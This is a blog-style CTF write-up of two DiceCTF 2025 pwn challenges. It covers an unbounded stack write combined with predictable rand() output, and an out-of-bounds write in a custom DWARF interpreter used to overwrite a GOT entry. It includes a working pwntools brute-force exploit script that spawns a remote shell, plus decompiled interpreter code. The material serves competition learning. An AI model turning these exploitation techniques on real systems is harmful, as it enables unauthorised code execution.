Skip to content
Jacob on Mastodon Jacob on GitHub RSS Feed Link

Gambling with addresses - DiceCTF Quals 2025

Dice Qualifiers were fun this year, with my team MapleBacon placing 6th in the event, sadly just 1 place away from qualifying for the in-person finals. While disappointing, this was still an improvement from our placement from last year where we place 8’th but qualified for finals

Here were the 2 pwn challenges I solved during the event, which were both solved by guessing gambling ASLR bits.

Ret2uwu 39 solves / 155 points

The binary presents a game where you fight 3 bunnies? Here’s the text output

[gray@badger r2uwu]$ ./resort

  +==================================+
  |                                  |
  | 3 Dust Bunnies block your path!  |
  |                                  |
  |     *{ ^^ }*'{ ^^ }'.{ ^^ }.     |
  |                                  |
  +==================================+
  |                                  |
  | r2uwu2 @ 0x58462517d1e0          |
  | ------ HP [####################] |
  |        MP [********************] |
  |                                  |
  +==================================+

Attack with [DOM CLOBBERING] against which bunny? (1-3) >

We also get the C source, not that its really needed as the vulnerabilities are pretty clear.

The main event loop roughly follows:

  1. The weapon you attack with is chosen from 4 random variables
  2. You pick the bunny to attack
  3. It modifies the selected bunnies HP depending on the weapon chosen
  4. The game decides if either you or the bunnies have won, otherwise we loop

The main loop where we choose what bunny to attack doesn’t bounds check your answer

    printf("Attack with [%s] against which bunny? (1-3) > ", items[item]);
    fflush(stdout);
    if (scanf("%d%*[^\n]", &choice) == 0) {
        puts("bad input >:(");
        fflush(stdout);
        return 1;
    }

Meaning we can modify memory around where the bunnies array is stored, but our modification of that memory is determined by what weapon we have

    uint8_t dmg;
    if (item == 3) {
      bunnies[choice - 1].hp = 0;
    } else {
      dmg = rand() % 255;
      bunnies[choice - 1].hp -= dmg;
    }

bunnies is an array of int_8’s meaning we can modify individual bytes, we just don’t have control over what value, but we can predict what value we will write!

The binary doesn’t initialize the rand seed, meaning that all values given from rand() will be the same each time the binary is run (by default the seed for libc’s srand is 1). This means we can predict the weapon and damage for each loop, and iteratively subtract bytes from one known value to get another, underflowing as needed.

The only remaining question is what to write to win?

Ignoring the obvious output of the binary, seeing that the bunnies array was on the stack I immediately looked to overwrite the return address of __libc_start_main with a onegadget.

The libc onegadget that was satisfiable upon return from main is at offset 0x050a40, and our return address is offset 0x027245. This is slightly problematic, as we have 3 bytes that we need to modify, and we don’t have a libc leak. Libc’s address randomization being page aligned means the right 3 hex characters, aka the lowest 12 bits of our target address will be the same each time. But the upper 12 bits are random. This means we lowest byte write will always be correct, but the upper two bytes are up to chance.

12 bits of randomness means if we just guess an offset of 0, we will be right 1 in 4096 attempts. This seemed bad, but since we can send a predetermined string of inputs, I set my current script up to attempt it, and that got the flag before I was able to implemented a cleaner solve.

#!/usr/bin/env python3
from pwn import *

exe = context.binary = ELF('./resort')
libc = ELF('libc.so.6')
context.terminal = ['tmux', 'splitw', '-h']

rv = 0x027245 # <- __libc_start_main_ return
tv = 0x050a40 # fr fr onegadget
# hits on 0x000000

libc_return_offset = 0x6c + 1
import ctypes

rand = ctypes.CDLL("libc.so.6").rand
srand = ctypes.CDLL("libc.so.6").srand

i = 0
context.log_level = 'ERROR'

while True:
    srand(1)

    io = remote("dicec.tf", 32030)

    # Who needs a leak?...
    # io.recvuntil(b" @ ")
    # leak = int(io.recvline()[:-4].strip(), 16)
    # exe.address = leak - exe.sym['print_ui']

    for idx, (target_byte, likely_byte) in enumerate(zip(tv.to_bytes(6, 'little')[:3], rv.to_bytes(6, 'little')[:3])):

        c = likely_byte
        zeroed = False

        while (c != target_byte) or not zeroed:
            wpn = rand() % 4
            if wpn == 3:
                zeroed = True
                c = 0
            else:
                sv = rand() % 255
                c = (c - sv) % 256
            io.sendline(f"{libc_return_offset + idx}".encode())
    
    while True:
        io.sendline(f"{libc_return_offset - 0x8}".encode())
        wpn = rand() % 4
        if wpn == 3:
            break
        else:
            sv = rand() % 255
        
    bhealth = [96, 99, 97]
    for bunny in range(1, 4):
        while True:
            io.sendline(str(bunny).encode())
            wpn = rand() % 4
            if wpn == 3:
                break
            else:
                rand()
    
    try:
        io.recvuntil(b"wins!\n", timeout=5)
        io.sendline(b"ls")
        io.recvline()
        io.interactive()
    except EOFError:
        io.close()
        pass

Flag: dice{clearing_the_dust_with_the_power_of_segmentation_fault_core_dumped_ae1f9557}

After getting flag, I realized that I had entirely forgotten about the binary leak provided for free by the game UI lol. I believe the intended solution is to rop with that leak, but having seen success once, I was ready to gamble again…

Debugapwner

This was a 2 part challenge, the first half, Debugalyzer, was a flag-checker style reversing challenge, with the checker being implemented as a sequence of ‘dwarf’ instructions run by a custom dwarf interpreter binary Dwarf on the debug info of a sample program.

I didn’t help much on that challenge, but had opened it up and got enough context to understand it was a non-standard dwarf vm.

For the pwn variant of this challenge we get a python server that will accept a base64 encoded file, and will run that with the same dwarf binary

#!/usr/bin/env python3

import base64
import sys
import subprocess

def main():    
    elf_path = "/tmp/elf"
    try:
        elf_data = base64.b64decode(input("Please provide base64 encoded ELF: "))
        with open(elf_path, "wb") as f:
            f.write(elf_data)
        subprocess.run(["./dwarf", elf_path])
    except Exception as e:
        print(f"Error: {e}")
        sys.exit(1)

if __name__ == "__main__":
    main()

So our target is to pwn the given dwarf interpreter binary, time to dig into it works!

Our dwarf binary links against a library for elf utilities, and the main function utilizes them to iterate over sections of the binary till it finds .debug_line

Disassembly:

{
    ...
    if (argc <= 1) {
        fprintf(stderr, "Usage: %s <elf-file>\n", *(uint64_t*)argv);
        result = 1;
    } else if (!elf_version(1)) {
        fwrite("ELF library initialization faile…", 1, 0x22, stderr);
        result = 1;
    } else {
        int32_t fd = open(argv[1], 0);
        ...
            int64_t rax_4 = elf_begin((uint64_t)fd, 1, 0);
            ...
                if (elf_getshdrstrndx(rax_4, &var_d0)) {
                    ...
                    while (true) {
                        int64_t rax_7 = elf_nextscn(rax_4, rbx_1);
                        ...
                        if (rax_7) {
                            if (&var_c8 != gelf_getshdr(rbx_1, &var_c8)) {
                                continue;
                            } else {
                                char* rax_9 = elf_strptr(rax_4, var_d0, (uint64_t)var_c8);
                                if (!rax_9) {
                                    continue;
                                } else {
                                    int32_t result_1 = strcmp(rax_9, ".debug_line");
                                    ...
                                    if (result_1) {
                                        continue;
                                    } else {
                                        int64_t* rax_10 = elf_getdata(rbx_1, 0);
                                        ...
                                                puts("Processing...");

Once it hits the section its looking for, it prints out Processing, gets some info about the section size and some other stuff I didn’t end up reversing, then calls execute_dwarf_bytecode_v4.

This is the interpreter that implements the dwarf instructions from our binary. Here’s IDA’s take at disassembling it:

int __fastcall execute_dwarf_bytecode_v4(
        __int64 instructions_ptr,
        unsigned __int64 instr_len,
        __int64 prior_frame_ptr,
        __int64 a4,
        unsigned __int8 a5)
{
  unsigned __int64 v5; // rax
  unsigned __int64 v7; // r13
  unsigned __int8 v8; // al
  __int64 v9; // r12
  unsigned __int64 v10; // rbp
  __int64 v11; // rdx
  unsigned __int8 opcode; // bl
  char *v13; // rsi
  unsigned __int64 v14; // rcx
  int v15; // eax
  const char *result_str; // rax
  __int64 v18; // rax
  int flag_write_idx; // eax
  char flag_write_val; // si
  char v21; // bp
  int v22; // eax
  unsigned __int64 v23; // rdx
  char v24; // si
  __int64 v25; // rcx
  unsigned __int8 v26; // di
  unsigned __int8 v27; // si
  unsigned __int8 v28; // si
  char v29; // al
  unsigned __int64 v30; // [rsp+0h] [rbp-58h]
  char check_flag; // [rsp+8h] [rbp-50h]
  unsigned __int64 instructions_rem; // [rsp+10h] [rbp-48h] BYREF
  _QWORD state[8]; // [rsp+18h] [rbp-40h] BYREF

  state[0] = instructions_ptr;
  instructions_rem = instr_len;
  if ( !instr_len )
  {
    result_str = (const char *)select_str((__int64)incorrect_msg, (__int64)correct_msg, 1);
    return puts(result_str);
  }
  v5 = instr_len;
  check_flag = 1;
  while ( 1 )
  {
    v11 = state[0];
    opcode = *(_BYTE *)state[0];
    v13 = (char *)++state[0];
    v14 = v5 - 1;
    instructions_rem = v5 - 1;
    if ( opcode )
    {
      if ( opcode < *(_BYTE *)(prior_frame_ptr + 3) )
      {
        switch ( opcode )
        {
          case 1u:
          case 6u:
          case 7u:
          case 8u:
          case 0xAu:
          case 0xBu:
            goto instr_loop;
          case 2u:
          case 4u:
          case 5u:
          case 0xCu:
            read_uleb128(state, &instructions_rem);
            break;
          case 3u:
            do
            {
              v29 = *v13++;
              --v14;
            }
            while ( v29 < 0 && v14 );
            state[0] = v13;
            instructions_rem = v14;
            break;
          case 9u:
            if ( v14 > 1 )
            {
              state[0] = v11 + 3;
              instructions_rem = v5 - 3;
            }
            break;
          default:
            printf("Opcode %d unimplemented\n", opcode);
            break;
        }
      }
      goto instr_loop;
    }
    v30 = read_uleb128(state, &instructions_rem);
    v7 = instructions_rem;
    if ( !instructions_rem )
      goto exit;
    v8 = *(_BYTE *)state[0];
    v9 = ++state[0];
    v10 = --instructions_rem;
    if ( v8 == 81 )
    {
      flag_write_idx = read_uleb128(state, &instructions_rem);
      if ( !instructions_rem )
        goto exit;
      flag_write_val = *(_BYTE *)state[0]++;
      --instructions_rem;
      flag[flag_write_idx] = flag_write_val;
      goto instr_loop;
    }
    if ( v8 <= 0x51u )
      break;
    if ( v8 != 82 )
      goto LABEL_35;
    v15 = read_uleb128(state, &instructions_rem);
    if ( !instructions_rem )
      goto exit;
    v21 = flag[v15];
    v22 = read_uleb128(state, &instructions_rem);
    v23 = instructions_rem;
    if ( !instructions_rem )
      goto exit;
    v24 = flag[v22];
    v25 = state[0];
    v26 = *(_BYTE *)state[0];
    --instructions_rem;
    if ( v23 == 1 )
      goto exit;
    if ( v26 == 2 )
    {
      opcode = v24 * v21;
    }
    else if ( v26 > 2u )
    {
      v28 = v21 ^ v24;
      if ( v26 == 3 )
        opcode = v28;
    }
    else
    {
      opcode = v21 - v24;
      v27 = v21 + v24;
      if ( !v26 )
        opcode = v27;
    }
    state[0] += 2LL;
    instructions_rem = v23 - 2;
    check_flag &= opcode == *(_BYTE *)(v25 + 1) || v23 == 2;
instr_loop:
    v5 = instructions_rem;
    if ( !instructions_rem )
      goto exit;
  }
  if ( v8 == 1 )
    goto instr_loop;
  if ( v8 == 2 )
  {
    if ( v30 >= (unsigned __int64)a5 + 1 )
    {
      if ( a5 )
      {
        v18 = 0;
        do
          ++v18;
        while ( a5 != v18 );
      }
      else
      {
        v18 = 0;
      }
      state[0] = v18 + v9;
      instructions_rem = v10 - v18;
    }
    goto instr_loop;
  }
LABEL_35:
  printf("Extended opcode %d unimplemented\n", 0);
  if ( v30 <= 1 )
    goto instr_loop;
  while ( v10 )
  {
    if ( v10 - 1 == v7 - v30 )
    {
      instructions_rem = v10 - 1;
      state[0] = v7 + v9 - v10;
      goto instr_loop;
    }
    --v10;
  }
exit:
  result_str = (const char *)select_str((__int64)incorrect_msg, (__int64)correct_msg, check_flag);
  return puts(result_str);
}

We can see a main loop parsing the instructions, clearly lots of the possible dwarf instructions aren’t supported, hence the printf in the first case statement, just what was needed for the flag checker.

The thing most interesting to us is the instruction that writes to the flag array.

if our instruction begins with the bytes \x00\x01\x51 we get to:

    if ( v8 == 81 ) {
      flag_write_idx = read_uleb128(state, &instructions_rem);
      if ( !instructions_rem )
        goto exit;
      flag_write_val = *(_BYTE *)state[0]++;
      --instructions_rem;
      flag[flag_write_idx] = flag_write_val;
      goto instr_loop;
    }

This write to flag[] isn’t bounds checked, so if we can construct instructions that write to a target value, we can potentially overwrite GOT entries, as the array is below GOT and we only have partial-RELRO protections.

One confusing bit is our index is constructed from read_uleb128, this constructs a 64 bit value from a variable-length encoded immediate in our instruction.

__int64 __fastcall read_uleb128(_QWORD *a1, __int64 *a2)
{
  __int64 v2; // r9
  char v3; // cl
  char v4; // r8
  __int64 v5; // rax

  v2 = *a2;
  if ( *a2 )
  {
    v3 = 0;
    v2 = 0;
    do
    {
      v4 = *(_BYTE *)(*a1)++;
      v5 = *a2 - 1;
      *a2 = v5;
      v2 |= (unsigned __int64)(v4 & 0x7F) << v3;
      if ( v4 >= 0 )
        break;
      v3 += 7;
    }
    while ( v5 );
  }
  return v2;
}

Here’s a snippet to encode values for this function

def write_uleb128(value):
    encoded_bytes = bytearray()
    while value > 0x7F:
        encoded_bytes.append((value & 0x7F) | 0x80)
        value >>= 7
    encoded_bytes.append(value & 0x7F)
    return bytes(encoded_bytes)

Something I hadn’t yet focused on is how we are going to craft a binary with our exploit instructions. I thought it might be smart to construct an elf binary by hand that had these instructions, but I didn’t find a simple way to make one in python that played nice with their elf header parsing. Instead I opted to just overwrite the instructions on the provided ./main binary from the reversing challenge, since it had enough space for a reasonable payload in their checker instructions.

Ok, so we have an arbitrary write in the data region of our binary. Next I looked for a one-gadget that we could use, nothing looked satisfiable, even with changing state from our instructions. I could overwrite GOT entries, and one target function jumped out, at the end of our execute_dwarf_bytecode_v4 instruction, we make a call to puts with a string, this was for the flag checker success/failure output. The strings that are passed to puts are in a writable section of memory, so if we overwrite those strings we can have an arbitrary input to puts. If we then overwrite puts’s GOT entry with system, we win! But wait, we have the same PIE issue as last time.

The delta from puts and system were 3 bytes different, meaning we would have the same 4096 chance of getting our exploit to hit the correct address. It felt silly to do the same thing twice, but I scripted a thrower to try while I looked for other options.

During the competition the challenge endpoint was verrrry slow, I think from multiple teams attempting this brute force strategy. A teammate Lyndon started my throwing script, but instead of /bin/sh attempted to debug with id instead. His third attempt hit, showing the exploit worked, but since he used id we didn’t get a flag output…

Cue another 3 hours of attempts, running on 2 machines, till we got a hit with the correct payload.

Flag: dice{not_contrived_at_all_:^)}

The intended solution used popen instead of system, which is much closer to puts and results in a 1/16 chance of hitting the target, a lesson for next time I guess.